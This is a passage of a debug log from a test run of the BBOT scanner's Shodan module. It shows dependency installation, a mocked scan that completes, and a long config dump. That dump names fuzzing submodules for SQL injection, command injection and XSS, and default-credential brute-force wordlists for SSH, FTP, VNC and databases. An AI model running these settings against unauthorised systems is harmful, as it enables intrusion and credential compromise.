[DEBUG] filelock _api.py:364 Attempting to release lock 4537956624 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:25:39,214 [DEBUG] filelock _api.py:367 Lock 4537956624 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:25:40,135 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:25:40,136 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:25:40,136 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 21:25:40,277 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 21:25:40,846 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 21:25:40,846 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 21:25:40,847 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 21:25:40,847 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 21:25:41,048 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 21:25:41,049 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 21:25:41,158 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 21:25:41,158 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 21:25:41,213 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 21:25:41,215 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 21:25:41,216 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 21:25:41,643 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 21:25:41,643 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 21:25:45,474 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 21:25:45,475 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 21:25:45,475 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 21:25:47,501 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 21:25:47,502 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 21:25:47,507 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:25:47,507 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 21:25:47,508 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 21:25:47,508 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 21:25:47,512 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/y0jqkis5frdlsh8g6os9 +2026-02-27 21:25:48,305 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 21:25:48,306 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 21:25:48,307 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:25:48,307 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 21:25:48,307 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:25:48,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 21:25:48,308 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:25:48,309 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 21:25:48,310 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 21:25:48,429 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 21:25:48,429 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 21:25:48,429 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 21:25:48,431 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 21:25:48,431 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 21:25:48,431 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 21:25:48,432 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 21:25:48,433 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 21:25:48,433 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 21:25:48,433 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 21:25:48,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 21:25:48,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 21:25:48,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 21:25:48,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 21:25:48,434 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 21:25:48,434 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 21:25:48,434 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 21:25:48,435 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 21:25:48,435 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 21:25:48,435 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 21:25:48,435 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 21:25:48,435 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 21:25:48,435 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 21:25:48,435 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 21:25:48,436 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 21:25:48,436 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 21:25:48,436 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 21:25:48,436 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 21:25:48,437 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 21:25:48,437 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 21:25:48,437 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 21:25:48,437 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 21:25:48,437 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 21:25:48,438 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 21:25:48,438 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 21:25:48,438 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 21:25:48,438 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 21:25:48,439 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 21:25:48,440 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 21:25:48,440 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 21:25:48,443 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 21:25:48,584 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_607rde1vj8 +2026-02-27 21:25:48,585 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 21:25:48,693 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 21:25:48,694 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 21:25:48,694 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 21:25:48,697 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'distance-1', 'target'}) +2026-02-27 21:25:48,796 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'distance-1', 'target'}) passed post-check +2026-02-27 21:25:48,797 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'distance-1', 'target'}) +2026-02-27 21:25:48,799 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-02-27 21:25:48,799 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) +2026-02-27 21:25:48,801 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:25:48,802 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:25:48,803 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) passed post-check +2026-02-27 21:25:48,803 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) +2026-02-27 21:25:48,804 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:25:48,806 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 21:25:48,806 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:25:48,808 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:25:48,809 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:25:48,810 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:25:48,811 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 21:25:48,817 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config +2026-02-27 21:25:48,817 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) +2026-02-27 21:25:48,818 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) passed post-check +2026-02-27 21:25:48,818 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) +2026-02-27 21:25:48,819 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) +2026-02-27 21:25:48,820 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) because precheck succeeded +2026-02-27 21:25:48,897 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 21:25:48,898 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:25:48,899 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) from TARGET +2026-02-27 21:25:48,899 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'unresolved', 'target'}) passed post-check +2026-02-27 21:25:48,900 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 21:25:48,900 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 21:25:48,900 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 21:25:48,901 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 21:25:48,902 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 21:25:48,902 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 21:25:48,902 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 21:25:48,902 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 21:25:49,003 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 21:25:49,004 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 21:25:49,022 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 21:25:49,023 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 21:25:49,024 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 21:25:49,030 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 21:25:49,031 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 21:25:49,032 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 21:25:49,033 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 21:25:49,033 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 21:25:49,034 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 21:25:49,150 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_607rde1vj8 completed in 0 seconds with status FINISHED +2026-02-27 21:25:49,150 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 21:25:49,152 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:25:49,153 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 21:25:49,153 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:d656114a62bbc2e053294c59cce30b8925fdea5c', 'name': 'testshodan_enterprise_test_607rde1vj8', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_607rde1vj8', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 